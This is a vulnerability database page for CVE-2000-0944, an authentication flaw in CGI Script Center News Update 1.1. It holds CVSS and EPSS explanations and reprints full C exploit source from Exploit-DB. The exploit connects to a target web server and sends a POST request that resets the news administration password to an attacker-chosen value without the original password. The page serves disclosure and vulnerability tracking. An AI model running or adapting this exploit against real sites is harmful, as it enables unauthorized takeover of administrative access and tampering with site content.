CVE-2000-0944 : Detail

CVE-2000-0944

9.8
/
Critical
A04-Insecure Design
1.35%V3
Network
2001-01-22
04h00 +00:00
2005-11-02
09h00 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

CGI Script Center News Update 1.1 does not properly validate the original news administration password during a password change operation, which allows remote attackers to modify the password without knowing the original password.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-522 Insufficiently Protected Credentials
The product transmits or stores authentication credentials, but it uses an insecure method that is susceptible to unauthorized interception and/or retrieval.

Metrics

Metrics Score Severity CVSS Vector Source
V3.1 9.8 CRITICAL CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

[email protected]
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 179

Publication date : 2000-11-14
23h00 +00:00
Author : morpheus[bd]
EDB Verified : Yes

/*************************************************************************** news_exp.c - description ------------------- begin : Sat Oct 21 2000 copyright : (C) 2000 by Morpheus[bd] email : [email protected] advisory : www.brightdarkness.de Exploit code for the News Update 1.1 by Morpheus[bd] For more information see my advisory which should be in this .tar.gz package. Compiling/Linking: gcc exploit.c -o exploit Usage: will be printed when the exploit is started without arguments ***************************************************************************/ /*************************************************************************** [Disclaimer] Standard disclaimer applies here. Do not use this program. This program is only for educational purposes. Use it on your on risk. ***************************************************************************/ /*************************************************************************** * * * This program is free software; you can redistribute it and/or modify * * it under the terms of the GNU General Public License as published by * * the Free Software Foundation; either version 2 of the License, or * * (at your option) any later version. * * * ***************************************************************************/ #include <stdio.h> #include <string.h> #include <ctype.h> #include <stdlib.h> #include <netdb.h> #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> #include <arpa/inet.h> #include <errno.h> #include <fcntl.h> #include <signal.h> #include <arpa/nameser.h> #include <sys/stat.h> #define WEISS printf("\033[0;29m") #define ROT printf("\033[1;31m") #define GRUEN printf("\033[1;32m") #define GELB printf("\033[1;33m") #define BLAU printf("\033[1;34m") #define LILA printf("\033[1;35m") #define HELLROT printf("\033[1;36m") #define MAXBUFFER 4096 /******************* AUSGABEN ************************/ /* At the moment everything will be written to the STDOUT */ #define EXPLOIT_INFO 2 /* If you only want Exploit infos ... change it to 1 and DEBUG to 1 */ #define DEBUG_INFO 2 /* If you only want Debug infos ... change DEBUG to 2 */ #define DEBUG 2 /*****************************************************/ /* Standard-Pfad des News Update scripts */ #define NEWSUPDATE_PATH "/cgi-bin/dummy/newsup" /* Name des News Update scripts */ #define NEWS_UPDATE "newsup.pl" /* Das gew?schte Passwort f? die News Update Form */ #define PWD "morpheus" /* HTTP-Request f? die News Update Form */ #define NEWS_UPDATE_PWD "POST %s HTTP/1.0\r\n" \ "Host: %s\r\n" \ "Referrer: %s\r\n" \ "Connection: Close\r\n" \ "User-Agent: %s\r\n" \ "Accept: */*\r\n" \ "Content-type: application/x-www-urlencoded\r\n" \ "Content-length: %d\r\n" \ "\r\n" \ "pwd=%s&pwd2=%s&setpwd=++Set+Password++\r\n" \ "\r\n" /* Ein einfacher HTTP-Request um eine Datei von einem Web-Server zu saugen */ #define SIMPLE_REQUEST "GET %s HTTP/1.0\r\n" \ "Host: %s\r\n" \ "\r\n" #define BROWSER "Morphi-Browser (X11; U; Linux 2.4 i686)" ssize_t writen(int fd, const void *vptr, size_t n) /* Taken from UNIX Network Programming - Vol. I by W.R. Stevens */ { size_t nleft; ssize_t nwritten; const char *ptr; ptr = vptr; nleft = n; while(nleft > 0) { if ( (nwritten = write(fd, ptr, nleft)) <= 0) { if (errno == EINTR) nwritten = 0; else return (-1); } nleft -= nwritten; ptr += nwritten; } return (n); } static ssize_t my_read(int fd, char *ptr) /* Taken from UNIX Network Programming - Vol. I by W.R. Stevens */ { static int read_cnt = 0; static char *read_ptr; static char read_buf[4096]; if (read_cnt <= 0) { again: if ( (read_cnt = read(fd, read_buf, sizeof(read_buf))) < 0) { if (errno == EINTR) goto again; return(-1); } else if (read_cnt == 0) return(0); read_ptr = read_buf; } read_cnt--; *ptr = *read_ptr++; return(1); } ssize_t readline(int fd, void *vptr, size_t maxlen) /* Taken from UNIX Network Programming - Vol. I by W.R. Stevens */ { int n, rc; char c, *ptr; ptr = vptr; for (n = 1; n < maxlen; n++) { if ( (rc = my_read(fd, &c)) == 1) { *ptr++ = c; if (c == '\n') break; /* newline is stored, like fgets() */ } else if (rc == 0) { if (n == 1) return(0); /* EOF, no data read */ else break; /* EOF, some data was read */ } else return(-1); /* error, errno set by read() */ } *ptr = 0; /* null terminate like fgets() */ return(n); } /* Stellt die Verbindung zum HTTP-Port des Servers her */ int http_connection(char host[100]) { struct sockaddr_in sa; struct hostent *hp; int sockfd; int port = 80; sockfd = socket(AF_INET, SOCK_STREAM, 0); bzero(&sa, sizeof(sa)); sa.sin_family = AF_INET; sa.sin_port = htons(port); if ( (sa.sin_addr.s_addr = inet_addr(host)) == -1) { if ( (hp = (struct hostent *) gethostbyname(host)) == NULL) { ROT; perror("gethostbyname:"); WEISS; return (-1); } memcpy(&sa.sin_addr.s_addr,hp->h_addr,sizeof(hp->h_addr)); } if (connect(sockfd, (struct sockaddr *) &sa, sizeof(sa)) < 0) { ROT; perror("Connect:"); close(sockfd); WEISS; return (-1); } return sockfd; } /* Exploited das News Update script und schleu? ein neues Password ein */ int news_update_exploit(char *host, char *path) { int i = 0, sockfd = 0; char cmd[MAXBUFFER]; if ((sockfd = http_connection(host)) == -1) { ROT; printf("Damn ... no connection to %s\n", host); WEISS; return; } i = snprintf(cmd, sizeof(cmd), NEWS_UPDATE_PWD, path, host, "www.brightdarkness.de", BROWSER, 34 + strlen(PWD), PWD, PWD); GELB; if (DEBUG == DEBUG_INFO) { GELB; printf("Sending following request to %s[%d]:\n%s", host, 80, cmd); WEISS; } WEISS; if (writen(sockfd, cmd, i) == -1) { ROT; printf("Man, man, man ....... Ihr verdammten Idioten .... kann man hier nicht mal in Ruhe writen() ?\n"); WEISS; exit(-1); } GELB; if (DEBUG == DEBUG_INFO) printf("Output from Server:\n"); WEISS; while (readline(sockfd, cmd, MAXBUFFER) != 0) { BLAU; if (DEBUG == DEBUG_INFO) printf("%s", cmd); WEISS; if (strstr(cmd, "Password Success") != NULL) { GRUEN; if (DEBUG == EXPLOIT_INFO) printf("Exploit: Success!!!!\n"); if (DEBUG == EXPLOIT_INFO) printf("The new password: %s\n", PWD); WEISS; return (0); } } ROT; if (DEBUG == EXPLOIT_INFO) printf("Exploit: failed.\n"); WEISS; return (-1); } /* How to use this fucking lame proggy *rofl* */ void usage(char *arg) { ROT; printf("news_update_exploit - News Update Password Changer - v0.1\n"); printf("------------=====||| by Morpheus[bd] |||=====------------\n"); GELB; printf("\nUsage:"); GRUEN; printf("%s host/ip [path]\n\n", arg); printf("path: alternative path to the newsup.pl\n"); WEISS; exit(-1); } /* Existiert das Verzeichnis der Form ?erhaupt ? */ int check_directory(char *host, char *ptr) { int i = 0, sockfd = 0; char cmd[MAXBUFFER], *ptr2; ptr2 = ptr + strlen(ptr); if (*(ptr2 - 1) != '/') { *ptr2 = '/'; *(ptr2 + 1) = '\0'; } GELB; if (DEBUG == DEBUG_INFO) printf("Checking if %s exists on the target server...\n", ptr); WEISS; if ((sockfd = http_connection(host)) == -1) { ROT; printf("Damn !!!... No connection to %s.\n", host); WEISS; return; } i = snprintf(cmd, sizeof(cmd), SIMPLE_REQUEST, ptr, host); GELB; if (DEBUG == DEBUG_INFO) printf("Sending following request to %s[%d]:\n%s", host, 80, cmd); WEISS; if (writen(sockfd, cmd, i) == -1) { ROT; printf("Man, man, man ....... Ihr verdammten Idioten .... kann man hier nicht mal in Ruhe writen() ?\n"); WEISS; exit(-1); } if (readline(sockfd, cmd, MAXBUFFER) == 0) { ROT; printf("Error: Reading from HTTP Server.\n"); WEISS; exit(-1); } if (strstr(cmd, "404") == NULL) { GRUEN; if (DEBUG == DEBUG_INFO) printf("The directory was found.\n"); WEISS; while (readline(sockfd, cmd, MAXBUFFER) != 0); close(sockfd); return (0); } if (DEBUG == DEBUG_INFO) printf("The directory was NOT found.\n"); while (readline(sockfd, cmd, MAXBUFFER) != 0); close(sockfd); return (-1); } /* Das tolle Hauptprogramm *fg* */ int main(int argc, char **argv) { char buf[MAXBUFFER]; if (argc < 2) { usage(argv[0]); } if (argc >= 3) { /* Ein alternatives Verzeichnis wurde als Parameter ?ergeben */ strncpy(buf, argv[2], sizeof(buf)); if (check_directory(argv[1], buf) == -1) { ROT; printf("Error: The given directory was not found.\nPlease provide a different directory.\n"); WEISS; exit(-1); } strcat(buf, NEWS_UPDATE); } else { /* Kein alternatives Verz. angegeben, benutze Standard-Verzeichnis */ strncpy(buf, NEWSUPDATE_PATH, sizeof(buf)); if (check_directory(argv[1], buf) == -1) { ROT; printf("Error: The given directory was not found.\nPlease provide a different directory.\n"); WEISS; exit(-1); } strcat(buf, NEWS_UPDATE); } /* Let's rock !!!! */ news_update_exploit(argv[1], buf); return (0); } // milw0rm.com [2000-11-15]

Products Mentioned

Configuraton 0

Cgi>>Script_center_news_update >> Version 1.1

    References

    http://www.securityfocus.com/bid/1881
    Tags : vdb-entry, x_refsource_BID